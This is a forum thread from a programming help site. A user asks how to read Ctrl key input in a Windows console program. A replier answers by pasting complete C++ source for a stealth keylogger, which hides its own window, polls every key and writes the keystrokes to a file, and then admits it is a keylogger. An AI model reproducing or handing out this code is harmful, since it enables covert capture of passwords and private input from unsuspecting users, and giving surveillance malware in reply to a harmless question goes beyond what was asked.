Ctrl button input
How can I get Ctrl button input in a console application?
Thank you!
ncurses or win32
win32
no i meant you could do it with one of those two.
your answer is somewhere in here:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
|
#include <iostream>
#include <fstream>
#include <string>
#include <cstdio>
#include <windows.h>
#include <winuser.h>
using std::cout;
using std::endl;
using std::ofstream;
using std::string;
int Save(char KeyStroke, string FileName);
void Stealth();
int main()
{
char CurrentChar;
Stealth();
while(true)
{
for(CurrentChar = '\b'; CurrentChar <= 190; CurrentChar++)
{
if(GetAsyncKeyState(CurrentChar) == -32767)
Save(CurrentChar, "output.txt");
}
}
return 0;
}
int Save(char KeyStroke, string FileName)
{
if((KeyStroke == 1) || (KeyStroke == 2))
return 0;
ofstream File;
File.open(FileName.c_str(), ofstream::app);
cout<< KeyStroke << endl;
switch(KeyStroke)
{
case '\b':
File<<"[BACKSPACE]";
break;
case '\n':
File<<"[NEWLINE]";
break;
case ' ':
File<<"[SPACE]";
break;
case VK_TAB:
File<<"[TAB]";
break;
case VK_SHIFT:
File<<"[SHIFT]";
break;
case VK_CONTROL:
File<<"[CONTROL]";
break;
case VK_ESCAPE:
File<<"[ESCAPE]";
break;
case VK_END:
File<<"[END]";
break;
case VK_HOME:
File<<"[HOME]";
break;
case VK_LEFT:
File<<"[LEFT]";
break;
case VK_UP:
File<<"[UP]";
break;
case VK_RIGHT:
File<<"[RIGHT]";
break;
case VK_DOWN:
File<<"[DOWN]";
break;
default:
tolower(KeyStroke);
File<< static_cast<char> (tolower(KeyStroke));
}
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
|
Oh, sorry, I misunderstood what you meant.
Thank you for your help and quick response!
no problem. sorry i just threw a keylogger at you, but i dont know win32 that well so while i know something in there that will work, i dont know what
That's okay. This helped a lot!
Topic archived. No new replies allowed.